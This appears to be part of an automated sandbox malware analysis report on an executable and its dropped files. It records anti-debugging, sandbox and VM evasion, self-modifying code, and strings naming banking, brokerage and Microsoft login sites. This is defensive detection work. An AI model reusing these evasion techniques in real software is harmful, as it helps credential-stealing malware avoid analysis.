Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA06BF second address: 4EA06E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8F08BF29D2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA06E1 second address: 4EA06E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA06E7 second address: 4EA074B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F8F08BF29CEh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F8F08BF29CCh 0x00000019 jmp 00007F8F08BF29D5h 0x0000001e popfd 0x0000001f popad 0x00000020 nop 0x00000021 pushad 0x00000022 mov edi, eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8F08BF29D6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA074B second address: 4EA075D instructions: 0x00000000 rdtsc 0x00000002 mov cx, 4641h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 sub esp, 1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA075D second address: 4EA0776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0776 second address: 4EA0786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E6834Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0786 second address: 4EA07CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F8F08BF29CBh 0x00000014 pushfd 0x00000015 jmp 00007F8F08BF29D8h 0x0000001a sbb cl, 00000048h 0x0000001d jmp 00007F8F08BF29CBh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07CF second address: 4EA07FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68359h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F08E6834Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07FB second address: 4EA080D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08BF29CEh 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 53EBC2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 76B6A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: FCEBC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 11FB6A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Special instruction interceptor: First address: 66363E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Special instruction interceptor: First address: 4BDB12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Special instruction interceptor: First address: 6744F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Special instruction interceptor: First address: 6F49EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Special instruction interceptor: First address: E4ED70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Special instruction interceptor: First address: E4ECE1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Special instruction interceptor: First address: FEE6B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Special instruction interceptor: First address: 1014A43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Special instruction interceptor: First address: D219AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Special instruction interceptor: First address: DADDE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Special instruction interceptor: First address: B8E5B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Special instruction interceptor: First address: B8E9B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Special instruction interceptor: First address: 9EEA59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Special instruction interceptor: First address: C0FE36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BAE5B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BAE9B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A0EA59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C2FE36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45ED70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45ECE1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5FE6B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 624A43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Special instruction interceptor: First address: D4EBC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Special instruction interceptor: First address: F7B6A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Special instruction interceptor: First address: DD19AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Special instruction interceptor: First address: E5DDE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Special instruction interceptor: First address: EE19AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Special instruction interceptor: First address: F6DDE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Special instruction interceptor: First address: E519AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Special instruction interceptor: First address: EDDDE6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Memory allocated: 4D20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Memory allocated: 4E60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Memory allocated: 6E60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Memory allocated: 4B20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Memory allocated: 4CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Memory allocated: 6CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Memory allocated: 5130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Memory allocated: 5460000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Memory allocated: 53A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Memory allocated: 4A50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Memory allocated: 4D90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Memory allocated: 6D90000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EF02EF rdtsc

0_2_04EF02EF

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1427	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1471	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1576	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1003142001\FontCreator.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\FontCreator[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2840	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4260	Thread sleep count: 1265 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4260	Thread sleep time: -2531265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2500	Thread sleep count: 126 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2500	Thread sleep time: -252126s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3028	Thread sleep count: 1427 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3028	Thread sleep time: -2855427s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2236	Thread sleep count: 324 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2236	Thread sleep time: -9720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2860	Thread sleep count: 1471 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2860	Thread sleep time: -2943471s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5440	Thread sleep time: -720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2964	Thread sleep count: 1576 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2964	Thread sleep time: -3153576s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe TID: 7136	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe TID: 5836	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe TID: 4412	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2920	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6576	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2856	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5820	Thread sleep count: 168 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5820	Thread sleep time: -5040000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5820	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe TID: 3776	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe TID: 3988	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6836	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: b02ca6c530.exe, b02ca6c530.exe, 0000000B.00000002.2050223710.0000000000644000.00000040.00000001.01000000.00000009.sdmp, 59d7339838.exe, 0000000C.00000002.2253116129.0000000000FCE000.00000040.00000001.01000000.0000000A.sdmp, K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000000.2129984466.0000000000CFA000.00000080.00000001.01000000.0000000B.sdmp, K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000002.2276243028.0000000000CFB000.00000040.00000001.01000000.0000000B.sdmp, b02ca6c530.exe, 0000000E.00000002.2214281095.0000000000644000.00000040.00000001.01000000.00000009.sdmp, WBQBXT7R0KIHGBUKORZPTVE39I.exe, 0000000F.00000002.2210377593.0000000000B6C000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2617107287.0000000000B8C000.00000040.00000001.01000000.00000010.sdmp, skotes.exe, 00000011.00000002.2264367153.0000000000B8C000.00000040.00000001.01000000.00000010.sdmp, 59d7339838.exe, 00000012.00000002.2384367290.0000000000FCE000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000014.00000003.2592687814.000000000613D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, b02ca6c530.exe, 00000007.00000002.1921852326.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, b02ca6c530.exe, 00000007.00000002.1921852326.0000000001001000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 59d7339838.exe, 0000000A.00000003.2029814711.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2026453534.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2136537230.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2051654822.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1964521476.0000000000657000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2025900566.0000000000656000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 59d7339838.exe, 0000000A.00000003.2029814711.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2026453534.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2136537230.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2051654822.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1964521476.0000000000657000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2025900566.0000000000656000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1951191625.0000000000657000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware_W
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: skotes.exe, 00000010.00000002.2624931539.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8N@
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: skotes.exe, 00000014.00000003.2514857238.0000000001458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>Ef
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1413575510.00000000006C2000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.1442581735.0000000001152000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmp, b02ca6c530.exe, 00000007.00000002.1918733222.0000000000644000.00000040.00000001.01000000.00000009.sdmp, 59d7339838.exe, 0000000A.00000003.2129514951.0000000005920000.00000004.00000800.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2050223710.0000000000644000.00000040.00000001.01000000.00000009.sdmp, 59d7339838.exe, 0000000C.00000002.2253116129.0000000000FCE000.00000040.00000001.01000000.0000000A.sdmp, K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000000.2129984466.0000000000CFA000.00000080.00000001.01000000.0000000B.sdmp, K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000002.2276243028.0000000000CFB000.00000040.00000001.01000000.0000000B.sdmp, b02ca6c530.exe, 0000000E.00000002.2214281095.0000000000644000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: skotes.exe, 00000014.00000003.2419289804.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Thread information set: HideFromDebugger	Jump to behavior
